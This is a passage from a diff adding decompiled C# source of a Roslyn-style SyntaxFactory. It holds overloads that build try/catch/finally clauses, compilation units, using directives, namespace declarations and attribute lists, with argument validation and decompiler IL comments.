result type (might be due to invalid IL or missing references) + return SwitchExpressionArm(pattern, null, Token(SyntaxKind.EqualsGreaterThanToken), expression); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TryStatementSyntax TryStatement(SyntaxList attributeLists, SyntaxToken tryKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax block, SyntaxList catches, Microsoft.CodeAnalysis.CSharp.Syntax.FinallyClauseSyntax? @finally) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + if (tryKeyword.Kind() != SyntaxKind.TryKeyword) + { + throw new ArgumentException("tryKeyword"); + } + if (block == null) + { + throw new ArgumentNullException("block"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.TryStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.TryStatement(GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref tryKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BlockSyntax)(object)((SyntaxNode)block).Green, GreenNodeExtensions.ToGreenList(catches.Node), (@finally == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FinallyClauseSyntax)(object)((SyntaxNode)@finally).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TryStatementSyntax TryStatement(SyntaxList attributeLists, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax block, SyntaxList catches, Microsoft.CodeAnalysis.CSharp.Syntax.FinallyClauseSyntax? @finally) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return TryStatement(attributeLists, Token(SyntaxKind.TryKeyword), block, catches, @finally); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TryStatementSyntax TryStatement(SyntaxList catches = default(SyntaxList)) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + return TryStatement(default(SyntaxList), Token(SyntaxKind.TryKeyword), Block(), catches, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CatchClauseSyntax CatchClause(SyntaxToken catchKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.CatchDeclarationSyntax? declaration, Microsoft.CodeAnalysis.CSharp.Syntax.CatchFilterClauseSyntax? filter, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax block) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (catchKeyword.Kind() != SyntaxKind.CatchKeyword) + { + throw new ArgumentException("catchKeyword"); + } + if (block == null) + { + throw new ArgumentNullException("block"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.CatchClauseSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.CatchClause((SyntaxToken)(object)((SyntaxToken)(ref catchKeyword)).Node, (declaration == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CatchDeclarationSyntax)(object)((SyntaxNode)declaration).Green), (filter == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CatchFilterClauseSyntax)(object)((SyntaxNode)filter).Green), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BlockSyntax)(object)((SyntaxNode)block).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CatchClauseSyntax CatchClause(Microsoft.CodeAnalysis.CSharp.Syntax.CatchDeclarationSyntax? declaration, Microsoft.CodeAnalysis.CSharp.Syntax.CatchFilterClauseSyntax? filter, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax block) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return CatchClause(Token(SyntaxKind.CatchKeyword), declaration, filter, block); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CatchClauseSyntax CatchClause() + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return CatchClause(Token(SyntaxKind.CatchKeyword), null, null, Block()); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CatchDeclarationSyntax CatchDeclaration(SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, SyntaxToken identifier, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (type == null) + { + throw new ArgumentNullException("type"); + } + SyntaxKind syntaxKind = identifier.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.CatchDeclarationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.CatchDeclaration((SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green, (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CatchDeclarationSyntax CatchDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, SyntaxToken identifier) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return CatchDeclaration(Token(SyntaxKind.OpenParenToken), type, identifier, Token(SyntaxKind.CloseParenToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CatchDeclarationSyntax CatchDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return CatchDeclaration(Token(SyntaxKind.OpenParenToken), type, default(SyntaxToken), Token(SyntaxKind.CloseParenToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CatchFilterClauseSyntax CatchFilterClause(SyntaxToken whenKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax filterExpression, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + if (whenKeyword.Kind() != SyntaxKind.WhenKeyword) + { + throw new ArgumentException("whenKeyword"); + } + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (filterExpression == null) + { + throw new ArgumentNullException("filterExpression"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.CatchFilterClauseSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.CatchFilterClause((SyntaxToken)(object)((SyntaxToken)(ref whenKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)filterExpression).Green, (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CatchFilterClauseSyntax CatchFilterClause(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax filterExpression) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return CatchFilterClause(Token(SyntaxKind.WhenKeyword), Token(SyntaxKind.OpenParenToken), filterExpression, Token(SyntaxKind.CloseParenToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FinallyClauseSyntax FinallyClause(SyntaxToken finallyKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax block) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (finallyKeyword.Kind() != SyntaxKind.FinallyKeyword) + { + throw new ArgumentException("finallyKeyword"); + } + if (block == null) + { + throw new ArgumentNullException("block"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.FinallyClauseSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.FinallyClause((SyntaxToken)(object)((SyntaxToken)(ref finallyKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BlockSyntax)(object)((SyntaxNode)block).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FinallyClauseSyntax FinallyClause(Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? block = null) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + return FinallyClause(Token(SyntaxKind.FinallyKeyword), block ?? Block()); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax CompilationUnit(SyntaxList externs, SyntaxList usings, SyntaxList attributeLists, SyntaxList members, SyntaxToken endOfFileToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + if (endOfFileToken.Kind() != SyntaxKind.EndOfFileToken) + { + throw new ArgumentException("endOfFileToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.CompilationUnit(GreenNodeExtensions.ToGreenList(externs.Node), GreenNodeExtensions.ToGreenList(usings.Node), GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(members.Node), (SyntaxToken)(object)((SyntaxToken)(ref endOfFileToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax CompilationUnit(SyntaxList externs, SyntaxList usings, SyntaxList attributeLists, SyntaxList members) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return CompilationUnit(externs, usings, attributeLists, members, Token(SyntaxKind.EndOfFileToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax CompilationUnit() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + return CompilationUnit(default(SyntaxList), default(SyntaxList), default(SyntaxList), default(SyntaxList), Token(SyntaxKind.EndOfFileToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ExternAliasDirectiveSyntax ExternAliasDirective(SyntaxToken externKeyword, SyntaxToken aliasKeyword, SyntaxToken identifier, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + if (externKeyword.Kind() != SyntaxKind.ExternKeyword) + { + throw new ArgumentException("externKeyword"); + } + if (aliasKeyword.Kind() != SyntaxKind.AliasKeyword) + { + throw new ArgumentException("aliasKeyword"); + } + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + if (semicolonToken.Kind() != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ExternAliasDirectiveSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ExternAliasDirective((SyntaxToken)(object)((SyntaxToken)(ref externKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref aliasKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ExternAliasDirectiveSyntax ExternAliasDirective(SyntaxToken identifier) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return ExternAliasDirective(Token(SyntaxKind.ExternKeyword), Token(SyntaxKind.AliasKeyword), identifier, Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ExternAliasDirectiveSyntax ExternAliasDirective(string identifier) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + return ExternAliasDirective(Token(SyntaxKind.ExternKeyword), Token(SyntaxKind.AliasKeyword), Identifier(identifier), Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.UsingDirectiveSyntax UsingDirective(SyntaxToken globalKeyword, SyntaxToken usingKeyword, SyntaxToken staticKeyword, SyntaxToken unsafeKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.NameEqualsSyntax? alias, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax namespaceOrType, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = globalKeyword.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.GlobalKeyword) + { + throw new ArgumentException("globalKeyword"); + } + if (usingKeyword.Kind() != SyntaxKind.UsingKeyword) + { + throw new ArgumentException("usingKeyword"); + } + syntaxKind = staticKeyword.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.StaticKeyword) + { + throw new ArgumentException("staticKeyword"); + } + syntaxKind = unsafeKeyword.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.UnsafeKeyword) + { + throw new ArgumentException("unsafeKeyword"); + } + if (namespaceOrType == null) + { + throw new ArgumentNullException("namespaceOrType"); + } + if (semicolonToken.Kind() != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.UsingDirectiveSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.UsingDirective((SyntaxToken)(object)((SyntaxToken)(ref globalKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref usingKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref staticKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref unsafeKeyword)).Node, (alias == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NameEqualsSyntax)(object)((SyntaxNode)alias).Green), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)namespaceOrType).Green, (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.UsingDirectiveSyntax UsingDirective(Microsoft.CodeAnalysis.CSharp.Syntax.NameEqualsSyntax? alias, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax namespaceOrType) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + return UsingDirective(default(SyntaxToken), Token(SyntaxKind.UsingKeyword), default(SyntaxToken), default(SyntaxToken), alias, namespaceOrType, Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.UsingDirectiveSyntax UsingDirective(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax namespaceOrType) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + return UsingDirective(default(SyntaxToken), Token(SyntaxKind.UsingKeyword), default(SyntaxToken), default(SyntaxToken), null, namespaceOrType, Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.NamespaceDeclarationSyntax NamespaceDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken namespaceKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax name, SyntaxToken openBraceToken, SyntaxList externs, SyntaxList usings, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_00c4: Unknown result type (might be due to invalid IL or missing references) + //IL_00d0: Unknown result type (might be due to invalid IL or missing references) + if (namespaceKeyword.Kind() != SyntaxKind.NamespaceKeyword) + { + throw new ArgumentException("namespaceKeyword"); + } + if (name == null) + { + throw new ArgumentNullException("name"); + } + if (openBraceToken.Kind() != SyntaxKind.OpenBraceToken) + { + throw new ArgumentException("openBraceToken"); + } + if (closeBraceToken.Kind() != SyntaxKind.CloseBraceToken) + { + throw new ArgumentException("closeBraceToken"); + } + SyntaxKind syntaxKind = semicolonToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.NamespaceDeclarationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.NamespaceDeclaration(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (SyntaxToken)(object)((SyntaxToken)(ref namespaceKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NameSyntax)(object)((SyntaxNode)name).Green, (SyntaxToken)(object)((SyntaxToken)(ref openBraceToken)).Node, GreenNodeExtensions.ToGreenList(externs.Node), GreenNodeExtensions.ToGreenList(usings.Node), GreenNodeExtensions.ToGreenList(members.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeBraceToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.NamespaceDeclarationSyntax NamespaceDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax name, SyntaxList externs, SyntaxList usings, SyntaxList members) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + return NamespaceDeclaration(attributeLists, modifiers, Token(SyntaxKind.NamespaceKeyword), name, Token(SyntaxKind.OpenBraceToken), externs, usings, members, Token(SyntaxKind.CloseBraceToken), default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.NamespaceDeclarationSyntax NamespaceDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax name) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + return NamespaceDeclaration(default(SyntaxList), default(SyntaxTokenList), Token(SyntaxKind.NamespaceKeyword), name, Token(SyntaxKind.OpenBraceToken), default(SyntaxList), default(SyntaxList), default(SyntaxList), Token(SyntaxKind.CloseBraceToken), default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FileScopedNamespaceDeclarationSyntax FileScopedNamespaceDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken namespaceKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax name, SyntaxToken semicolonToken, SyntaxList externs, SyntaxList usings, SyntaxList members) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + if (namespaceKeyword.Kind() != SyntaxKind.NamespaceKeyword) + { + throw new ArgumentException("namespaceKeyword"); + } + if (name == null) + { + throw new ArgumentNullException("name"); + } + if (semicolonToken.Kind() != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.FileScopedNamespaceDeclarationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.FileScopedNamespaceDeclaration(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (SyntaxToken)(object)((SyntaxToken)(ref namespaceKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NameSyntax)(object)((SyntaxNode)name).Green, (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node, GreenNodeExtensions.ToGreenList(externs.Node), GreenNodeExtensions.ToGreenList(usings.Node), GreenNodeExtensions.ToGreenList(members.Node))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FileScopedNamespaceDeclarationSyntax FileScopedNamespaceDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax name, SyntaxList externs, SyntaxList usings, SyntaxList members) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return FileScopedNamespaceDeclaration(attributeLists, modifiers, Token(SyntaxKind.NamespaceKeyword), name, Token(SyntaxKind.SemicolonToken), externs, usings, members); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FileScopedNamespaceDeclarationSyntax FileScopedNamespaceDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax name) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + return FileScopedNamespaceDeclaration(default(SyntaxList), default(SyntaxTokenList), Token(SyntaxKind.NamespaceKeyword), name, Token(SyntaxKind.SemicolonToken), default(SyntaxList), default(SyntaxList), default(SyntaxList)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AttributeListSyntax AttributeList(SyntaxToken openBracketToken, Microsoft.CodeAnalysis.CSharp.Syntax.AttributeTargetSpecifierSyntax? target, SeparatedSyntaxList attributes, SyntaxToken closeBracketToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken.Kind() != SyntaxKind.OpenBracketToken) + { + throw new ArgumentException("openBracketToken"); + } + if (closeBracketToken.Kind() != SyntaxKind.CloseBracketToken) + { + throw new ArgumentException("closeBracketToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.AttributeListSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.AttributeList((SyntaxToken)(object)((SyntaxToken)(ref openBracketToken)).Node, (target == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AttributeTargetSpecifierSyntax)(object)((SyntaxNode)target).Green), GreenNodeExtensions.ToGreenSeparatedList(attributes.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeBracketToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AttributeListSyntax AttributeList(Microsoft.CodeAnalysis.CSharp.Syntax.AttributeTargetSpecifierSyntax? target, SeparatedSyntaxList attributes) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return AttributeList(Token(SyntaxKind.OpenBracketToken), target, attributes, Token(SyntaxKind.CloseBracketToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AttributeListSyntax AttributeList(SeparatedSyntaxList attributes = default(SeparatedSyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return AttributeList(Token(SyntaxKind.OpenBracketToken), null, attributes, Token(SyntaxKind.CloseBracketToken)); + } + + public static 